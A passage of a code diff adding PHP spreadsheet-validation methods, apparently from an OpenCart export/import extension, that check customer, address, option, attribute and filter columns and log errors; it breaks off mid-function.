+ if ($category_id=="") {
+ if (!$has_missing_category_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_category_id' ) );
+ $this->log->write( $msg );
+ $has_missing_category_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($category_id)) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $category_id, $category_ids )) {
+ if (!in_array( $category_id, $unlisted_category_ids )) {
+ $unlisted_category_ids[] = $category_id;
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ if ($category_id < $previous_category_id) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_category_id = $category_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCustomerIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric customer_ids can be used, in ascending order, in worksheet 'Customers'
+ $previous_customer_id = 0;
+ $has_missing_customer_ids = false;
+ $customer_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_id = $this->getCell($data,$i,1);
+ if ($customer_id=="") {
+ if (!$has_missing_customer_ids) {
+ $msg = str_replace( '%1', 'Customers', $this->language->get( 'error_missing_customer_id' ) );
+ $this->log->write( $msg );
+ $has_missing_customer_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($customer_id)) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_invalid_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $customer_id, $customer_ids )) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_duplicate_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $customer_ids[] = $customer_id;
+ if ($customer_id < $previous_customer_id) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', 'Customers', $this->language->get( 'error_wrong_order_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_customer_id = $customer_id;
+ }
+
+ // make sure customer_ids are numeric entries and are also mentioned in worksheet 'Customers'
+ $worksheets = array( 'Addresses' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_customer_id = 0;
+ $has_missing_customer_ids = false;
+ $unlisted_customer_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_id = $this->getCell($data,$i,1);
+ if ($customer_id=="") {
+ if (!$has_missing_customer_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_customer_id' ) );
+ $this->log->write( $msg );
+ $has_missing_customer_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($customer_id)) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $customer_id, $customer_ids )) {
+ if (!in_array( $customer_id, $unlisted_customer_ids )) {
+ $unlisted_customer_ids[] = $customer_id;
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_customer_id' ) ) );
+ $this->log->write( $msg );
+ }
+ $ok = false;
+ }
+ if ($customer_id < $previous_customer_id) {
+ $msg = str_replace( '%2', $customer_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_customer_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_customer_id = $customer_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateAddressCountriesAndZones( &$reader ) {
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ $country_col = 0;
+ $zone_col = 0;
+ $k = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ $i = 0;
+ for ($j=1; $j <= $k; $j+=1) {
+ $entry = $this->getCell($data,$i,$j);
+ if ($entry=='country') {
+ $country_col = $j;
+ } else if ($entry=='zone') {
+ $zone_col = $j;
+ }
+ }
+ if ($country_col==0) {
+ $msg = $this->language->get('error_missing_country_col');
+ $msg = str_replace( '%1', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ if ($zone_col==0) {
+ $msg = $this->language->get('error_missing_zone_col');
+ $msg = str_replace( '%1', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ $available_country_ids = $this->getAvailableCountryIds();
+ $available_zone_ids = $this->getAvailableZoneIds();
+ $undefined_countries = array();
+ $undefined_zones = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $country = $this->getCell($data,$i,$country_col);
+ $zone = $this->getCell($data,$i,$zone_col);
+ if (!isset($available_country_ids[$country])) {
+ $country = html_entity_decode($country,ENT_QUOTES,'UTF-8');
+ if (!isset($available_country_ids[$country])) {
+ if (!in_array( $country, $undefined_countries )) {
+ $undefined_countries[] = $country;
+ $msg = $this->language->get( 'error_undefined_country' );
+ $msg = str_replace( '%1', $country, $msg );
+ $msg = str_replace( '%2', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ continue;
+ }
+ }
+ if ($zone != '') {
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_QUOTES,'UTF-8');
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ $zone = str_replace( "'", "'", $zone );
+ if (!isset($available_zone_ids[$country][$zone])) {
+ if (!isset($undefined_zones[$country])) {
+ $undefined_zones[$country] = array();
+ }
+ if (!in_array( $zone, $undefined_zones[$country] )) {
+ $undefined_zones[$country][] = $zone;
+ $msg = $this->language->get( 'error_undefined_zone' );
+ $msg = str_replace( '%1', $country, $msg );
+ $msg = str_replace( '%2', $zone, $msg );
+ $msg = str_replace( '%3', 'Addresses', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ continue;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCustomerGroupColumns( &$reader ) {
+ // all customer_groups mentioned in the worksheets must be defined
+ $worksheets = array( 'Specials', 'Discounts', 'Rewards', 'Customers' );
+ $ok = true;
+ $customer_groups = array();
+ $customer_group_ids = $this->getCustomerGroupIds();
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $has_missing_customer_groups = false;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $customer_group = trim($this->getCell($data,$i,2));
+ if ($customer_group=="") {
+ if (!$has_missing_customer_groups) {
+ $msg = $this->language->get( 'error_missing_customer_group' );
+ $msg = str_replace( '%1', $worksheet, $msg );
+ $this->log->write( $msg );
+ $has_missing_customer_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $customer_group, $customer_groups )) {
+ if (!isset($customer_group_ids[$customer_group])) {
+ $msg = $this->language->get( 'error_invalid_customer_group' );
+ $msg = str_replace( '%1', $worksheet, str_replace( '%2', $customer_group, $msg ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $customer_groups[] = $customer_group;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateOptionColumns( &$reader ) {
+ // get all existing options and option values
+ $ok = true;
+ $export_import_settings_use_option_id = $this->config->get('export_import_settings_use_option_id');
+ $export_import_settings_use_option_value_id = $this->config->get('export_import_settings_use_option_value_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT od.option_id, od.name AS option_name, ovd.option_value_id, ovd.name AS option_value_name ";
+ $sql .= "FROM `".DB_PREFIX."option_description` od ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_id=od.option_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE od.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $options = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_option_id) {
+ $option_id = $row['option_id'];
+ if (!isset($options[$option_id])) {
+ $options[$option_id] = array();
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = $row['option_value_id'];
+ if (!is_null($option_value_id)) {
+ $options[$option_id][$option_value_id] = true;
+ }
+ } else {
+ $option_value_name = htmlspecialchars_decode($row['option_value_name']);
+ if (!is_null($option_value_name)) {
+ $options[$option_id][$option_value_name] = true;
+ }
+ }
+ } else {
+ $option_name = htmlspecialchars_decode($row['option_name']);
+ if (!isset($options[$option_name])) {
+ $options[$option_name] = array();
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = $row['option_value_id'];
+ if (!is_null($option_value_id)) {
+ $options[$option_name][$option_value_id] = true;
+ }
+ } else {
+ $option_value_name = htmlspecialchars_decode($row['option_value_name']);
+ if (!is_null($option_value_name)) {
+ $options[$option_name][$option_value_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing options can be used in 'ProductOptions' worksheet
+ $product_options = array();
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_options = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_option_id) {
+ $option_id = trim($this->getCell($data,$i,2));
+ if ($option_id=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptions', $this->language->get( 'error_missing_option_id' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id' );
+ $msg = str_replace( '%1', 'ProductOptions', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ $product_options[$product_id][$option_id] = true;
+ } else {
+ $option_name = trim($this->getCell($data,$i,2));
+ if ($option_name=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptions', $this->language->get( 'error_missing_option_name' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name' );
+ $msg = str_replace( '%1', 'ProductOptions', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ $product_options[$product_id][$option_name] = true;
+ }
+ }
+
+ // only existing options and option values can be used in 'ProductOptionValues' worksheet
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_options = false;
+ $has_missing_option_values = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_option_id) {
+ $option_id = trim($this->getCell($data,$i,2));
+ if ($option_id=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_id' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!isset($product_options[$product_id][$option_id])) {
+ $msg = $this->language->get( 'error_invalid_product_id_option_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $product_id, $msg );
+ $msg = str_replace( '%3', $option_id, $msg );
+ $msg = str_replace( '%4', 'ProductOptions', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = trim($this->getCell($data,$i,3));
+ if ($option_value_id=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_id' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id][$option_value_id])) {
+ $msg = $this->language->get( 'error_invalid_option_id_option_value_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $msg = str_replace( '%3', $option_value_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $option_value_name = trim($this->getCell($data,$i,3));
+ if ($option_value_name=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_name' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_id][$option_value_name])) {
+ $msg = $this->language->get( 'error_invalid_option_id_option_value_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_id, $msg );
+ $msg = str_replace( '%3', $option_value_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $option_name = trim($this->getCell($data,$i,2));
+ if ($option_name=="") {
+ if (!$has_missing_options) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_name' ) );
+ $this->log->write( $msg );
+ $has_missing_options = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if (!isset($product_options[$product_id][$option_name])) {
+ $msg = $this->language->get( 'error_invalid_product_id_option_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $product_id, $msg );
+ $msg = str_replace( '%3', $option_name, $msg );
+ $msg = str_replace( '%4', 'ProductOptions', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_option_value_id) {
+ $option_value_id = trim($this->getCell($data,$i,3));
+ if ($option_value_id=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_id' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name][$option_value_id])) {
+ $msg = $this->language->get( 'error_invalid_option_name_option_value_id' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $msg = str_replace( '%3', $option_value_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $option_value_name = trim($this->getCell($data,$i,3));
+ if ($option_value_name=="") {
+ if (!$has_missing_option_values) {
+ $msg = str_replace( '%1', 'ProductOptionValues', $this->language->get( 'error_missing_option_value_name' ) );
+ $this->log->write( $msg );
+ $has_missing_option_values = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($options[$option_name][$option_value_name])) {
+ $msg = $this->language->get( 'error_invalid_option_name_option_value_name' );
+ $msg = str_replace( '%1', 'ProductOptionValues', $msg );
+ $msg = str_replace( '%2', $option_name, $msg );
+ $msg = str_replace( '%3', $option_value_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateAttributeColumns( &$reader ) {
+ // get all existing attribute_groups and attributes
+ $ok = true;
+ $export_import_settings_use_attribute_group_id = $this->config->get('export_import_settings_use_attribute_group_id');
+ $export_import_settings_use_attribute_id = $this->config->get('export_import_settings_use_attribute_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT agd.attribute_group_id, agd.name AS attribute_group_name, ad.attribute_id, ad.name AS attribute_name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group_description` agd ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute` a ON a.attribute_group_id=agd.attribute_group_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_description` ad ON ad.attribute_id=a.attribute_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE agd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_groups = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_attribute_group_id) {
+ $attribute_group_id = $row['attribute_group_id'];
+ if (!isset($attribute_groups[$attribute_group_id])) {
+ $attribute_groups[$attribute_group_id] = array();
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = $row['attribute_id'];
+ if (!is_null($attribute_id)) {
+ $attribute_groups[$attribute_group_id][$attribute_id] = true;
+ }
+ } else {
+ $attribute_name = htmlspecialchars_decode($row['attribute_name']);
+ if (!is_null($attribute_name)) {
+ $attribute_groups[$attribute_group_id][$attribute_name] = true;
+ }
+ }
+ } else {
+ $attribute_group_name = htmlspecialchars_decode($row['attribute_group_name']);
+ if (!isset($attribute_groups[$attribute_group_name])) {
+ $attribute_groups[$attribute_group_name] = array();
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = $row['attribute_id'];
+ if (!is_null($attribute_id)) {
+ $attribute_groups[$attribute_group_name][$attribute_id] = true;
+ }
+ } else {
+ $attribute_name = htmlspecialchars_decode($row['attribute_name']);
+ if (!is_null($attribute_name)) {
+ $attribute_groups[$attribute_group_name][$attribute_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing attribute_groups and attributes can be used in 'ProductAttributes' worksheet
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_attribute_groups = false;
+ $has_missing_attributes = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = trim($this->getCell($data,$i,1));
+ if ($product_id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_attribute_group_id) {
+ $attribute_group_id = trim($this->getCell($data,$i,2));
+ if ($attribute_group_id=="") {
+ if (!$has_missing_attribute_groups) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_group_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attribute_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = trim($this->getCell($data,$i,3));
+ if ($attribute_id=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id][$attribute_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id_attribute_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $msg = str_replace( '%3', $attribute_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $attribute_name = trim($this->getCell($data,$i,3));
+ if ($attribute_name=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_id][$attribute_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_id_attribute_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_id, $msg );
+ $msg = str_replace( '%3', $attribute_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $attribute_group_name = trim($this->getCell($data,$i,2));
+ if ($attribute_group_name=="") {
+ if (!$has_missing_attribute_groups) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_group_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attribute_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if ($export_import_settings_use_attribute_id) {
+ $attribute_id = trim($this->getCell($data,$i,3));
+ if ($attribute_id=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_id' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name][$attribute_id])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name_attribute_id' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $msg = str_replace( '%3', $attribute_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $attribute_name = trim($this->getCell($data,$i,3));
+ if ($attribute_name=="") {
+ if (!$has_missing_attributes) {
+ $msg = str_replace( '%1', 'ProductAttributes', $this->language->get( 'error_missing_attribute_name' ) );
+ $this->log->write( $msg );
+ $has_missing_attributes = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($attribute_groups[$attribute_group_name][$attribute_name])) {
+ $msg = $this->language->get( 'error_invalid_attribute_group_name_attribute_name' );
+ $msg = str_replace( '%1', 'ProductAttributes', $msg );
+ $msg = str_replace( '%2', $attribute_group_name, $msg );
+ $msg = str_replace( '%3', $attribute_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateFilterColumns( &$reader ) {
+ // get all existing filter_groups and filters
+ $ok = true;
+ $export_import_settings_use_filter_group_id = $this->config->get('export_import_settings_use_filter_group_id');
+ $export_import_settings_use_filter_id = $this->config->get('export_import_settings_use_filter_id');
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT fgd.filter_group_id, fgd.name AS filter_group_name, fd.filter_id, fd.name AS filter_name ";
+ $sql .= "FROM `".DB_PREFIX."filter_group_description` fgd ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter` f ON f.filter_group_id=fgd.filter_group_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_description` fd ON fd.filter_id=f.filter_id AND fd.language_id='".(int)$language_id."' ";
+ $sql .= "WHERE fgd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_groups = array();
+ foreach ($query->rows as $row) {
+ if ($export_import_settings_use_filter_group_id) {
+ $filter_group_id = $row['filter_group_id'];
+ if (!isset($filter_groups[$filter_group_id])) {
+ $filter_groups[$filter_group_id] = array();
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = $row['filter_id'];
+ if (!is_null($filter_id)) {
+ $filter_groups[$filter_group_id][$filter_id] = true;
+ }
+ } else {
+ $filter_name = htmlspecialchars_decode($row['filter_name']);
+ if (!is_null($filter_name)) {
+ $filter_groups[$filter_group_id][$filter_name] = true;
+ }
+ }
+ } else {
+ $filter_group_name = htmlspecialchars_decode($row['filter_group_name']);
+ if (!isset($filter_groups[$filter_group_name])) {
+ $filter_groups[$filter_group_name] = array();
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = $row['filter_id'];
+ if (!is_null($filter_id)) {
+ $filter_groups[$filter_group_name][$filter_id] = true;
+ }
+ } else {
+ $filter_name = htmlspecialchars_decode($row['filter_name']);
+ if (!is_null($filter_name)) {
+ $filter_groups[$filter_group_name][$filter_name] = true;
+ }
+ }
+ }
+ }
+
+ // only existing filter_groups and filters can be used in the 'ProductFilters' and 'CategoryFilters' worksheets
+ $worksheet_names = array('ProductFilters','CategoryFilters');
+ foreach ($worksheet_names as $worksheet_name) {
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return $ok;
+ }
+ $has_missing_filter_groups = false;
+ $has_missing_filters = false;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $id = trim($this->getCell($data,$i,1));
+ if ($id=="") {
+ continue;
+ }
+ if ($export_import_settings_use_filter_group_id) {
+ $filter_group_id = trim($this->getCell($data,$i,2));
+ if ($filter_group_id=="") {
+ if (!$has_missing_filter_groups) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_group_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filter_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = trim($this->getCell($data,$i,3));
+ if ($filter_id=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id][$filter_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id_filter_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $msg = str_replace( '%3', $filter_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $filter_name = trim($this->getCell($data,$i,3));
+ if ($filter_name=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_id][$filter_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_id_filter_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_id, $msg );
+ $msg = str_replace( '%3', $filter_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ } else {
+ $filter_group_name = trim($this->getCell($data,$i,2));
+ if ($filter_group_name=="") {
+ if (!$has_missing_filter_groups) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_group_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filter_groups = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $this->log->write( $msg );
+ $ok= false;
+ continue;
+ }
+ if ($export_import_settings_use_filter_id) {
+ $filter_id = trim($this->getCell($data,$i,3));
+ if ($filter_id=="") {
+ if (!$has_missing_filters) {
+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_id' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name][$filter_id])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name_filter_id' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $msg = str_replace( '%3', $filter_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ } else {
+ $filter_name = trim($this->getCell($data,$i,3));
+ if ($filter_name=="") {
+ if (!$has_missing_filters) {
